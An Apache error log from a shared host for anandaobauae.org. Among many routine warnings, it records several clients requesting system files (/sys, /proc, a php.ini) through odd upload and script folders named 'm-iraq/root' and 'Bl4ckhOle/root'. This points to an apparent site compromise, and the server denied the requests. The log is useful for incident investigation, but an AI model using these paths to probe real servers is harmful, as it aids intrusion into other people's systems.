[Fri Jul 17 09:18:05.451216 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451272 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451329 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451387 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451442 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451533 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451602 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451660 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451718 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.451775 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465409 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465495 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465552 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465656 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465713 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465775 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465833 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465898 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.465971 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466035 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466119 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466187 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466248 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466306 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466373 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466444 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466519 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466589 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466650 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466697 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466749 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466806 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466847 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466915 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.466966 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.467024 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.467101 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.467154 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.467225 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.467284 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.650805 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:05.861615 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS0/irq
[Fri Jul 17 09:18:05.964715 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:06.512596 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:06.716202 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:06.881856 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:06.926680 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:07.003698 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:44598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:07.414548 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:44606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:07.984516 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:08.042989 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:08.048854 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alml-ARRrtuZqNDDSqWz1gAAABo"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:18:08.048883 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alml-ARRrtuZqNDDSqWz1gAAABo"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:18:08.675864 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:0a/eject
[Fri Jul 17 09:18:08.766419 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/efi-framebuffer/bind
[Fri Jul 17 09:18:09.383692 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:09.594230 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:09.687856 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 57.141.18.15:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory22/subsystem/devices/memory51/subsystem/devices/memory4/subsystem/drivers_probe
[Fri Jul 17 09:18:10.216829 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:10.795588 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:10.812603 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:11.111646 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:44736] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:11.246369 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:6/subsystem/tty41/subsystem/ttyS1/uevent"] [unique_id "alml-11_86A5R6msWNfYiAAAABI"]
[Fri Jul 17 09:18:11.246407 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:6/subsystem/tty41/subsystem/ttyS1/uevent"] [unique_id "alml-11_86A5R6msWNfYiAAAABI"]
[Fri Jul 17 09:18:11.759200 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:07/eject
[Fri Jul 17 09:18:11.859795 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:11.965123 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:12.265999 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:12.469717 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:13.081288 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:53068] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:13.083436 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:13.185707 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:13.286955 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:13.407941 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:53104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:13.594835 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:13.698573 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:14.408706 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:14.600364 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:14.664389 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:14.736206 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:14.974704 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:15.081943 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:15.229627 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:53210] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:15.579834 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:15.683893 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:15.995948 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:16.199027 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:16.401863 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:16.507511 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:16.510685 2026] [authz_core:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php73/etc/php.ini
[Fri Jul 17 09:18:16.816312 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:17.027549 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:1b/eject
[Fri Jul 17 09:18:17.132279 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:17.328914 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:53316] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:17.436652 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:17.747426 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/device/firmware_node/eject
[Fri Jul 17 09:18:18.092779 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:18.157679 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:18.185013 2026] [core:crit] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php52/var/cache/php-eaccelerator/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php52/var/cache/php-eaccelerator/' is executable
[Fri Jul 17 09:18:18.772031 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:19.308101 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:19.766657 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:20.030203 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:20.076094 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:20.277559 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:1b/eject
[Fri Jul 17 09:18:20.291247 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:53410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:20.585805 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:20.718335 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:20.804140 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:12/subsystem/tty60/power/control"] [unique_id "almmBIe39YUk0SgV8AU-QQAAABE"]
[Fri Jul 17 09:18:20.804172 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:12/subsystem/tty60/power/control"] [unique_id "almmBIe39YUk0SgV8AU-QQAAABE"]
[Fri Jul 17 09:18:20.996210 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:21.103972 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:21.308182 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:21.605144 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:21.807737 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:21.815287 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:21.817152 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.79.15.102:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:3/subsystem/tty7/subsystem/tty10/"] [unique_id "almmBVCBpfuYyhJ140vWsgAAAB4"]
[Fri Jul 17 09:18:21.817191 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.79.15.102:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:3/subsystem/tty7/subsystem/tty10/"] [unique_id "almmBVCBpfuYyhJ140vWsgAAAB4"]
[Fri Jul 17 09:18:22.091787 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:49458] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:22.240443 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:22.331649 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:22.435741 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:23.553449 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:24.164739 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:49500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:24.265437 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:24.370855 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:24.476146 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:1a/eject
[Fri Jul 17 09:18:24.803726 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:25.096466 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:49554] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:26.666467 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:26.753558 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.79.10.250:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/pci/devices/0000:00:06.0/subsystem/rescan
[Fri Jul 17 09:18:26.783751 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:28.009882 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:28.134338 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:49742] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:28.215046 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:28.416168 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS0/close_delay
[Fri Jul 17 09:18:28.727445 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:29.746157 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:29.846801 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/19-1/instance
[Fri Jul 17 09:18:29.948165 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:30.465541 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:30.565017 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/ttyS2/flags
[Fri Jul 17 09:18:30.667629 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:31.019217 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:49910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:31.175191 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:31.469864 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:31.485445 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:31.501626 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:31.820416 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:31.896470 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:32.200194 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.030714 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.172430 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:45284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:18:33.638863 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.740292 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841378 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841450 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841505 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841592 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841644 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841679 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841827 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841854 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841891 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.841929 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842014 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842155 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842185 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842209 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842229 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842250 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842272 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842295 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842420 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842445 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842466 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842487 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842526 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842609 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:33.842651 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044493 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044595 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:34.044646 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
